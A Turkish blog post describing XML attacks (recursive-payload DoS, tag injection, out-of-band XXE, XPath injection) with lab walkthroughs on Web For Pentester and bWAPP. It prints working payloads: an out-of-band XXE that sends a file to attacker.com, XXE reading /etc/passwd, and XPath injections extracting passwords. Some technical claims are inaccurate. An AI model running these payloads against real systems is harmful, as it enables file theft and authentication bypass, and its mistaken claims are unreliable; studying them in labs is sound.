15 Ağustos 2019 Perşembe

XML SALDIRILARI



Sistemlere XML türü bir saldırı gerçekleştirmek istiyorsak öncelikle XML Parse’ler hakkında biraz bilgiye ihtiyacımız vardır. Buna göre ilkin parselerin ne anlama geldiğini kavramamız gerekir. Parseler ile ilgili en kısa tanımı yapacak olursak;
Bir web sitesi istek yapıldığında sunucu taraflı uygulama , gelen istek verisini ayrıştırarak ki bunun adı XML’de ’’Parse’’dir , kullanılan elemanları ve bunlara ait değerleri çıkartır.
XML saldırısı tam da bu ayrıştırma işleminin yapıldığı yeri hedef alır. Çünkü web servislerinin işlem yükü ele alındığında bu ayrıştırma işleminin diğer işlemlere göre daha fazla kaynak tükettiği bilinmektedir. XML’in yapısı, bir ağaç şeklinde olup iç içe kümelerden oluşur. Yapacağımız saldırı türüne göre belirlenen bir küme türünden çok sayıda iç içe aynı kümenin kopyalarını göndererek kullanılan XML parser’ın bellek ve CPU limitlerini zorlayabiliriz. Eğer zafiyete maruz kalan bir uygulama var ise belli sayıda istek sonrası yavaşlamalar gözlemlenebilir. Fakat bu problemi ortaya çıkarabilmek için 10.000,100.000,1.000.000 gibi adetlerde iç içe kümeler gönderilmesi gereklidir. Bu sayede hedef sistem yavaşlar ve kilitlenir.

Şöyle bir örnekleyelim;

Hedefimizde ki sistemin (sitenin) admin paneline saldırı düzenleyerek sistemin içine girmek veya sistemi kilitlemek istiyoruz. Bunun için sistemin admin paneline XML saldırılarında öne çıkan “Recursive Payloads” ile atak düzenleyerek bunu gerçekleştirebiliriz. Bu XML saldırı ile sistemin, admin paneline yönelik sürekli kimlik ve parola bilgileri sorgu işlemi gerçekleştirmesine neden oluyoruz. Sistemin CPU ve bellek yükünü arttıran bu işlem ile hedef sistemimiz olası şu sonuçlara ulaşacaktır:

a) Aşırı CPU ve bellek yüklenmesi nedeniyle sistem yavaşlar;
Yorgun sistem aşırı ısınarak kendine sonun da reset atar ve veri kaybına neden olur.

b) Kilitlenir;
XML Saldırıya maruz kalmış sistem işlev göremez hale gelir ve donar.

c) Sistem kapanır ve resetlenmesi gerekir;
Sistem admin tarafından en son alınmış yedek verileri ile yeniden kurulabilir. Ancak son saklanan veriler kaybedilir. Sistemin yedek alma özelliği yoksa sistem tamamen kullanılmaz hale gelir ve çöker.

Temel XML Saldırı örnekleri;

* Recursive Payloads
* Oversize Payloads
*SOAP Body
*XML Attribute BLOWUP

Tag Injection

Başarılı bir XML Tag Injection saldırısı bir sistem (web sitesi) için çok yüksek bir risk oluşturur. Saldırgan bu sayede tüm veritabanını kilitleyebilir, sistemin yöneticisi olarak giriş yapabilir. Bu sayede veritabanında saklanan tüm hassas verilere müdahale edebilir ve sistem de yapmak istediği her türlü değişikliği yapmasına olanak sağlar. Bu nedenle “XML Tag Injection” bir sistemin güvenliğini sarsacak en büyük tehdittir.

Eğer bir sistem böyle bir saldırıdan korunmak istiyorsa admin panelinden giriş yapılan her bir kullanıcıya kuşkulu bakacak ve tedbirli bir tutum ile hareket etmesi gerekmektedir. Bu nedenle admin panel bakımlarının muntazam aralıklarla düzenli bir şekilde yapılmalı ve gerekli önlemler alınmalıdır.

Kod:
<users>
<user ID =1>
<username>Admin</username>
<password>Password</password>
<role>Administrator</role>
</user ID>
</users>
Bu durumun önüne geçebilmek için; admin paneli en az 2 basamaklı güvenlik prosedürü olmalıdır. Yani sadece kullanıcı adı ve şifre girişiyle değil, aynı zaman da kullanıcının gizli bir mail hesabına veya telefonuna gönderilen şifre ile kendi tanımlamasını gerçekleştirmiş olması şarttır.

Elbette “XML Tag Injection” saldırısı sadece web sitelerinin admin panellerine yapılmamaktadır. Aynı zaman da internet ev kullanıcılarına kadar geniş bir ağ için de yapılabilmektedir. Buna örnek vermek gerekirse;

Normal bir ev kullanıcısını düşünelim. Bu ev kullanıcısı dilediği zaman internetten ücretsiz program veya dosya yüklemekte ve sistemine masumca yeni özellikler kazandırmayı hedeflemektedir. Oysa saldırganlar tarafından yüklenmiş olan program veya dosyalar içerisinde tuzak XML söz dizimiyle yazılmış özel bir code yüklerler. Bu program veya dosyalardan habersiz bilgisayarına indiren masum kullanıcı, bilgisayarın da en etkili virüs koruma programları olsa bile XML söz dizimiyle yazılmış olan code’ler bilgisayar tarafından tanımlanmaya bilir. Saldırgan, tuzak XML içeriğine eklediği “Injection” yönlendirme komutu ile o masum kullanıcının tüm bilgilerine ulaşabilir ve eylemini gerçekleştirebilir.

Out Of Band

XML Out Of Band saldırısı, diğer güvenlik saldırıları kadar popüler değildir. Ancak XML tabanlı veya XML’ye yer ayıran sistemler için çok ciddi bir saldırı tekniğidir. Yerel ağlarda yoğun olarak kullanılır ve hedef sistemlerin kaynak code’lerini çalmakta veya sistemi kilitlemekte en etkili yöntemdir.

Saldırgan amacına ulaşmak için denetlediği sunucuya kurban tarafından ek bir istekte bulunması için XML ayrıştırıcısını alması gerekir. Yani dosya içeriğine gizlenmiş Out Of Band komutu ile kurban farkında olmadan sistemi saldırganın sunucusuna bağlanır ve verileri XML dosya dizimi ile aktarır. 

Aşağıda bir saldırganın Out-of-band (OOB) tekniği kullanılarak veri çalmak için parametre varlıklarını nasıl kullanabileceğine dair bir örnek verilmiştir.

Kod:
Request    Attacker DTD (attacker.com/evil.dtd)
POST http://example.com/xml HTTP/1.1<!DOCTYPE data [  <!ENTITY % file SYSTEM  "file:///etc/lsb-release">  <!ENTITY % dtd SYSTEM  "http://attacker.com/evil.dtd">  %dtd;]><data>&send;</data>    <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">%all;
Xpath: XML belgesinde gezinmek için yol ifadeleri kullanan ve dize değerleri, sayısal değerler, tarih ve zaman karşılaştırması, sıra ve düğüm manipülasyonu gibi standart önceden tanımlanmış işlevlerle ilgili yardımcı olan XML belgelerinin bölümlerini tanımlamak için kullanılan bir sözdizimidir.

Günümüzde çoğu web yöneticileri hassas verileri depolamak için XML belgelerini kullanıyor ve XML belgelerindeki verilerin içinde gezinmek için XPath kullanıyor. XML belgelerini kullanmanın en büyük avantajı, insanlar için neredeyse okunamayacak kadar karmaşık olmalarıdır.
XPath Injection, XML belgelerini sorgulamak veya gezinmek için kullanıcı tarafından sağlanan girdiden XPath (XML Path Language) sorguları oluşturan uygulamaları kullanmak için kullanılan bir saldırı tekniğidir. Bir XML belgesini sorgulamak için bir uygulama tarafından, bir XML belgesine bir XSLT dönüşümü uygulanması veya bir XML belgesine bir XQuery uygulaması gibi daha büyük bir işlemin bir parçası olarak doğrudan kullanılabilir.
XPath enjeksiyonunda, bir uygulamaya veri enjekte etmeye çalışacağız, böylece kullanıcı tarafından kontrol edilen XPath sorguları yürütülür. Başarıyla enjekte edildiğinde, bu güvenlik açığı korsanların tam yetkilendirme sistemlerini atlamasına ya da uygun yetkilendirme olmadan bilgilere erişmesine izin verebilir.

Örnek olarak, XPath'in nasıl çalıştığını örneklerle öğrenelim, örneğin aşağıdaki örnek bir XML Veritabanı Dosyamız var:

Kod:
<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<HackingLoops_database>
<hackingloops_user>
<username>Hackingloops</username>
<password>testing123</password>
<account>Administrator</account>
</hackingloops_user>
<hackingloops_user>
<username>Lokesh</username>
<password>test1234</password>
<account>Subscriber</account>
</hackingloops_user>
<hackingloops_user>
<username>Destructive</username>
<password>mind123</password>
<account>Subscriber</account>
</hackingloops_user>
</HackingLoops_database>
Yukarıdaki kod, XML dosyasının hassas bilgileri depolamak için nasıl kullanıldığıyla ilgili temel formatı gösterir.
Artık yukarıdaki XML dosyasından bir yönetici hakkındaki bilgileri almak istiyorsak, aşağıdaki gibi bir XPath sorgusu yazmamız gerekiyor:

Kod:
string(//hackingloops_user[username/text()=’Hackingloops’ and password/text()=’testing123′]/account/text())
Yukarıdaki XPath sorgusu, XML veritabanı belgesine erişmek için web yöneticisinin kendi koduna yerleştirdiği şeydir.

Artık web tasarımcısı mülkün kullanıcı tarafından filtrelenmemiş olması durumunda, bilgisayar korsanının web sitesine XPath kodunu girmesi ve dolayısıyla sorgu sonucunu etkilemesi mümkün olacaktır. Burada, hacker'ın XML dosya veritabanını kesmek için kullanacağı XPath sorgusu örneği:

Kod:
string(//hackingloops_user[username/text()=” or ‘1’ = ‘1’ and password/text()=” or ‘1’ = ‘1’]/account/text())
Kullanıcı adı ve şifre yerine ne enjekte ettiğimi fark ettiniz mi?

Not: Aşağıdaki teknik web yöneticisi, web sitelerinde XML ve XPath kullanır. Aslında böyle görünecek:

Kod:
<?php
$login = simplexml_load_file(“HackingLoops_database.xml”);
$result=$login->xpath(“//hackingloops_user[username/test()='”.$_POST[‘Hackingloops’].” AND password/text()='”.$_POST[‘testing123’].”‘”;
?>
Bu, SQL enjeksiyonuna benzemiyor mu?

Evet, çünkü, XPath ve SQL enjeksiyonunun arkasındaki temel kavram aynı olduğundan, her ikisi de sadece web tasarımcısı kullanıcı kodunu kendi kodunda düzgün bir şekilde ele almadığında mümkündür (yani dinamik sorguların kullanımı doğru şekilde ele alınmaz).

Web sitesi hacking ile ilgili önceki makalemde, H web sitelerinde SQL enjeksiyonunu durdurmak için 10 adımlık bir kılavuz paylaştı.

Artık XPath enjeksiyonunun iki türü var. Yukarıdaki teknik Blind XPath enjeksiyon olarak adlandırılır ve diğeri Advanced XPath Injection olarak adlandırılır. Aşağıda Örnek Kör XPath enjeksiyon kullanıcı adı ve şifre:

Username: ‘ or ‘1’ = ‘1
Password: ‘ or ‘1’ = ‘1


Şimdi, yukarıdaki kullanıcı adının, çoğunuzun bilmediği gibi ne ifade ettiğini açıklamama izin verin. Yukarıdaki kullanıcı adı veya şifre, çıktısı her zaman doğru olan bir sorgu ile sonuçlanır; başka bir deyişle, kullanıcı adı veya parola sağlanmasa bile, web sitesi kullanıcının kimliğini doğrulayacaktır. Web tasarımcıları tarafından, bilgisayar korsanlarının işi kolaylaştıran bu tür hataları vardır, ancak bu istismardan haberdar olunursa kolayca korunabilirler.

XXE Sadırıları

XXE Injection nedir ?
XXE zafiyeti ile neler yapılabilir ilk olarak bunlardan bahsedelim. XXE zafiyeti ile sistemimizdeki hassas dosyalar okunabilir ve bazı özel durumlarda sistemde komut çalıştırılabilir. Bunların ne denli önemli olduğu aşikardır. Eski bir örnek verecek olursak “My Fullxml website” anahtar kelimesini google da arattığımızda karşımıza gelen sonuçlardan /db/member.xml uzantısına sahip olan sitelerde admin password bilgileri bulunabiliyordu. Böylelikle sitede admin yetkisi ile giriş yapılabilmekteydi. Bir örnek ile xxe injection inceleyelim;


İlk olarak taglere göz atalım. Name , description ve openmrsVersion tagleri arasında xxe verileri tanımlanmış mı bakalım. Varsa ilk bakıldığında bir tehlike arz etmemektedir. Fakat !ENTITY ile başlayan taglere baktığımızda sistem dosyalarına erişebileceğimiz anlamına gelir. Örneğin xxe verisi ile /etc/passwd dosyasına erişebiliriz. Bu gibi hassas verilere ulaşmak sistem için çok tehlikelidir. 

XXE Saldırıları Tarihsel Örnekler

Bunların en başında tabii ki devasa bir kuruluş olan Facebook gelmektedir. Bunu incelemek isterseniz aşağıda ki linki kontrol edebilirsiniz.

Link

Diğer çok önemli olan zafiyet ise Cisco Webex XXE zafiyetidir. Bu önemli zafiyeti ise Sayın Ali Ardıç aşağıdaki linkte ayrıntılı ve Türkçe olarak belirtmektedir.

Link

Bu örnekler exploit db vb. platformlardan incelenerek çoğaltılabilir.
Test ortamlarında uygulamalı XXE injection attack çözümleri

Diyelim ki bir web sitesinde kaynak kodlarını incelediğimiz de "xml" adında bir değişken tanımlanmış. Ve bu değişkende php modülü olan “simplexml_load_string” kullanılmış. Bunun diğer bir örneği ise “simplexml_load_file” dır. simplexml_load_file modülünde xml dosyası okunmaktadır. 

simplexml_load_string modülü ise kendi dökümanlarında belirttiğine göre bir xml dizgesini bir nesne haline getirmektedir. Daha sonra GET isteği ile parametreden gelen xml verisini print_r ile sayfaya bastırmaktadır. Alınan parametre sayfaya bastırılırken “Hello” kelimesinin yanına eklenmektedir.

Aşama 1 :
Sayfayı incelediğimizde url kısmında ‘xml=’ ile kullanıcıdan bir parametre almakta ve bunu sayfada bastırmaktadır. <test>hacker</test> kodu ile hacker string nesnesi xml değişkenine atanmakta ve sayfada bastırılmaktadır. Bu kod daha önce belirttiğimiz şekilde kullanıcı tarafından belirlenmiş tagler kullanılarak oluşturulmuştur. Biz tagler içerisinde değilde sadece string bir ifadeyi xml= kısmına girerek deneyebiliriz.

Aşama 2 :
Bu şekilde url kısmında xml=Canyoupwnme olarak girdiğimizde hata ile karşılaşabiliriz. Hatada ‘<‘ ile başlayan bir tag bulunmadığını belirtmektedir. Demek ki göndereceğimiz parametre ‘<‘ gibi taglerle belirtilmesi şarttır. Bizden istenildiği şekilde deneyelim fakat <test> tagi ile değil de xml özelliğinde belirtiğimiz kullanıcılar tagleri kendi oluşturabilir ifadesinden yola çıkarak kendi tagimizi oluşturalım ve öyle deneyelim. Örneğin <deneme>Canyoupwnme</deneme> gibi ;

Aşama 3 :
Yarattığımız bu tag bir sıkıntı çıkarmaz ve bize Canyoupwnme yazısını bastırır. Bunu bildiğimize göre artık sistemdeki hassas dosyalara erişmeye yönelik çalışmalara başlayabiliriz. Örneğin şöyle bir kodu enjekte etmeye çalışabiliriz.

Kod:
<!DOCTYPE deneme [<!ENTITY canyoupwnme SYSTEM "file:///etc/passwd">]><deneme>&canyoupwnme;</deneme>
1
<!DOCTYPE deneme [<!ENTITY canyoupwnme SYSTEM "file:///etc/passwd">]><deneme>&canyoupwnme;</deneme>
Bu payload ile deneme tagleri arasında canyoupwnme değişkenini kullanarak /etc/passwd dosyasını çağıralım.

Çözüm :
Diyelim ki, payloadımız işe yaramadı ve bir hatayla karşılaştık. “Parser error” payloadımız parse edilirken sorunla karşılaşmış demektir. Bu payloadı birde bazı sistemlerde karşılaştığımız gibi url encode ile denememiz de fayda var.

Payload:

Kod:
<!DOCTYPE deneme [<!ENTITY canyoupwnme SYSTEM "file:///etc/passwd">]><deneme>&canyoupwnme;</deneme>
Payload Url Encode : 

Kod:
%3C!DOCTYPE%20deneme%20%5B%3C!ENTITY%20canyoupwnme%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cdeneme%3E%26canyoupwnme%3B%3C%2Fdeneme%3E
Bu işlemden sonra payloadımız çalışmış oldu ve sistemdeki /etc/passwd dosyasına erişmiş olduk.

Web For Pentester XML attacks Example 2 :
Kaynak Kod analizi :
Example2 örneğinde sayfanın kaynak koduna bakalım. Kaynak kodunu aşağıda verelim ;

Kod:
<?php require_once("../header.php");
Kod:
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  } 
?>
<?php require_once("../footer.php"); ?>

<?php require_once("../header.php"); 

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  } 
?>
<?php require_once("../footer.php"); ?>
Buradaki kaynak kodlarını incelediğimizde ilk olarak x değişkeni ile bir XML haritası oluşturulmuş olduğunu görürüz. Daha sonra xml değişkenine 1. örnekte olduğu gibi simplexml_load_string modülü ile x değişkeni atanmıştır. xpath değişkeni ile name tagi içerisindeki veri GET isteği ile atanmıştır. While döngüsü ile de xpath değişkeninden gelen parametre ekrana bastırılmaktadır. Kodu analiz ettiğimizde name taginde hacker ver admin verileri bulunmaktadır. Fakat bizim diğer hassas verileri çekmemiz gerekmektedir. Örneğin password taginde ki verileri elde etmek gibi. Peki bunu nasıl yapabiliriz ? Bu sorunun cevabını denemelerimiz ile bulmaya çalışalım.

Aşama 1 :

name kısmında parametre almaktadır. Biz buraya admin veya hacker yazdığımızda sayfa sorunsuz çalışmaktadır. Fakat başka herhangi bir şey yazdığımızda sayfa boş dönmektedir. Bu biraz bize Sql injection çağrıştırmaktadır. name kısmına tırnak attığımızda bize hata döndürmektedir. Invalid predicate bize geçersiz yüklenici hatası vermektedir. Birde çift tırnak atıp deneyelim. Çift tırnak attığımızda sayfa bize boş olarak dönmektedir. İşlemlerimize tek tırnak üzerinden devam edip hata kodunu yok etmeye çalışalım.

hacker' or 1=1 -- kodunu parametre olarak yollayalım ve sonucu inceleyelim.

Aşama 2 :

Şimdi bize Unfinished literal bitmemiş yazılı hatası verdiğini düşünelim. Demek ki sorguyu sonlandıramadık. Bunu çözmeyi deneyelim. — yerine verdiğimizde tekrar geçersiz yüklenici hatası vermektedir. ile sonrasında gelenleri yorum satırı yapmadan önce sorguyu sonlandırmayı normal parantez ile deneyelim. Fakat buda bize hata döndürmektedir. Birde süslü parantezle deneyelim. O da aynı sonucu vermektedir. Birde köşeli parantez ile sorguyu sonlandırmayı deneyelim. Ve başarılı bir sonuca ulaşmış olduk . Görelim ;

payload :

Kod:
hacker' or 1=1 ]
1
hacker' or 1=1 ]
Aşama 3 :

Sayfa bize name tagleri içerisindeki verileri getirmiş oldu. Şimdi diğer taglerde tutulan verilere erişmeye çalışalım. Peki bu verilere nasıl erişebiliriz. Bu noktada aklımıza PHP DOM(******** Object Model) yapısı gelmektedir. Bu yapı ile HTML veya XML dosyalarımızda nesnel erişim sağlayarak elementler üzerinde işlem yapabilmekteyiz. Şimdi payloadımıza geri dönelim. Sorguyu yaptıktan sonra child::node() ile geçerli düğümün tüm çocuklarını seçelim. Bu bilgiye ise google da XPath Axes anahtar kelimesi ile erişebiliriz. Daha sonrada geçerli düğümün tüm atalarına erişmeyi deneyelim . İlk olarak çocuk düğüme erişebiliyor muyuz deneyelim ;

payload :

Kod:
hacker' or 1=1 ]/child::node()
Çözüm :

Görüldüğü üzere bir hata ile karşılaşmadık. Demek ki çocuk bireyler hacker ve admin verileri. Şimdi ata bireylere erişmeyi deneyelim. Bunu da parent::node() ile deneyelim

payload :

Kod:
hacker' or 1=1 ]/parent::node()/child::node()
Böylelikle tüm ata bireylere de erişmiş olduk. Peki burada ne anlamıştık. child::node() ile çektiğimiz veriler hacker ve admin verileriydi. Yani bunlar name tagleri ile tutulan verilerdi. name tagini username tagi gibi düşünebiliriz. Bunu url kısmında şu şekilde deneyerek ne olacağını görelim ;

payload:

Kod:
hacker' or 1=1 ]/parent::node()/name
1
hacker' or 1=1 ]/parent::node()/name
Görüldüğü gibi düşüncemiz doğrulanmış oldu. Yani herhangi bir hata ile karşılaşmadık. Şimdi bu düşüncemize göre password bilgilerini çekmek isteseydik ne olurdu ? Şu şekilde deneyelim ;

payload :

Kod:
hacker' or 1=1]/parent::node()/password
1
hacker' or 1=1]/parent::node()/password
Ve sonuca ulaştık. XML tagleri içerisindeki password bilgilerine eriştik. Böylelikle Web For Pentester içerisindeki XXE injection örneklerini çözmüş olduk.

bWAPP XML External Entity Attacks (XXE) :
Bu kısımda ise çeşitli zafiyetlerin bulunduğu test ortamı olan bWAPP içindeki XXE attacks bölümünü inceleyeceğiz.

İlk olarak inceleyeceğimiz kısımı görelim ;

Görüldüğü üzere sayfamız bu şekildedir. Burada sadece ‘Any bugs?’ butonu bulunmaktadır. Bu butona bastığımızda bir değişiklik olmamaktadır. Peki bu noktada ne yapmalıyız? Burpsuite ile butona bastıktan sonra araya girelim ve hangi veriler gönderilmekte ne gibi istekler yapılmakta bunu inceleyelim.



Any bugs? butonuna tıklayıp burpsuite ile araya girdiğimizde ekran görüntüsündeki gibi paket bilgileri gönderilmektedir. bee kullanıcısı ile giriş sağladığımızdan <login> tagleri arasında bee görmekteyiz. <secret> tagleri arasında ise kullanıcı oluştururken bizden secret stringi istemektedir burada onu görmekteyiz. Burada xml taglerinin farkındayız ve önceki aşamalarda gerçekleştirdiğimiz xxe injection tekniklerini burada uygulamayı deneyelim. Xml ile kendi oluşturduğumuz değişkende robots.txt dosyasını çağırmayı deneyelim. Bunları denerken bilgileri repeater’a atıp değişiklikleri orada deneyelim.

Çözüm :

Görüldüğü üzere robots.txt dosyasına, yazdığımız xml kodları ile ulaşabiliyoruz. Bu kodları daha anlaşılabilir olması bakımından XML kısmında ekledim. Kodu aşağıda verelim.

Kod:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE deneme [
<!ENTITY canyoupwnme SYSTEM "http://localhost/bWAPP/bWAPP/robots.txt">
]>

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE deneme [
<!ENTITY canyoupwnme SYSTEM "http://localhost/bWAPP/bWAPP/robots.txt">
]>
Burada canyoupwnme değişkenini belirledik ve bu değişken ile robots.txt dosyasını çağırdık. Robots.txt dosyasının yolunu belirtirken http url’i üzerinden belirttik burada bWAPP sistemimizde nerede kurulu ise o yolu vermeye dikkat edelim.

Ayrıca login taglerinde de oluşturduğumuz canyoupwnme değişkenini belirtelim ;

Kod:
<login>&canyoupwnme;</login>
Böylelikle robots.txt dosyasına eriştik. Peki bir saldırgan gibi düşünerek /etc/passwd dosyasını okumak istesek başarılı olabilir miydik ? Bunu aşağıdaki kod ile deneyelim ve sonuçları görelim.

Kod:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE deneme [
<!ENTITY canyoupwnme SYSTEM "file:///etc/passwd">
]>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE deneme [
<!ENTITY canyoupwnme SYSTEM "file:///etc/passwd">
]>
Bu kodda sadece SYSTEM’den sonra çift tırnak içerisinde http değilde file olarak değiştirdik. Ve /etc/passwd dosyasını bana getir dedik daha sonra &canyoupwnme; ‘yi login tagleri arasında belirttik. Sonucu ekran görüntüsü ile görelim ;

Görüldüğü üzere /etc/passwd dosyasına da xxe injection ile erişmiş olduk. bWAPP’ın bu konudaki challenge’ını böylelikle göstermiş olduk.

Bu aşamada karşılaştığım bir sorunu ve çözümünü de anlatayım. İlk olarak bWAPP ‘ı sistemimde default olarak apache2 sunucusuna kurdum. Daha sonra çözümü denediğimde sürekli bir hata ile karşılaştım. Hatada sonuç olarak ”An error occured” döndürmekteydi. Bu hatayı bir süre aşamadım. Daha sonra araştırdıktan sonra bunun sunucu kaynaklı olduğunu öğrendim. Apache2 sunucusu üzerinden sistemi çalıştırdığım için dosyaları okumak istediğimde hata alıyordum. Bunun sebebinin izinlerden dolayı kaynaklandığını düşünüyorum.

Peki bu sorunu nasıl çözdüm ? Bu noktada devreye XAMPP girdi. Kali sistemine XAMMP kurdum ve mysql,apache ‘yi XAMPP üzerinden çalıştırdım. bWAPP’ı ise XAMPP htdocs içerisine kurdum. Böylelikle sorun çözülmüş oldu. Bunun WAMP server ile de çözülebileceğini düşünüyorum.

Sonuç

Bu yazımızda XML Saldırılarını, Tag Injection'lari XXE ve xPart Injection'ları anlatmaya çalıştım. XML’den bahsettik ve daha sonra Web For Pentester XXE örneklerinin çözümünü anlattık. Daha sonra başka bir test ortamı olan bWAPP üzerinde XXE attack challenge’nın çözümünü anlatmış olduk. 

0 comentários:

Yorum Gönder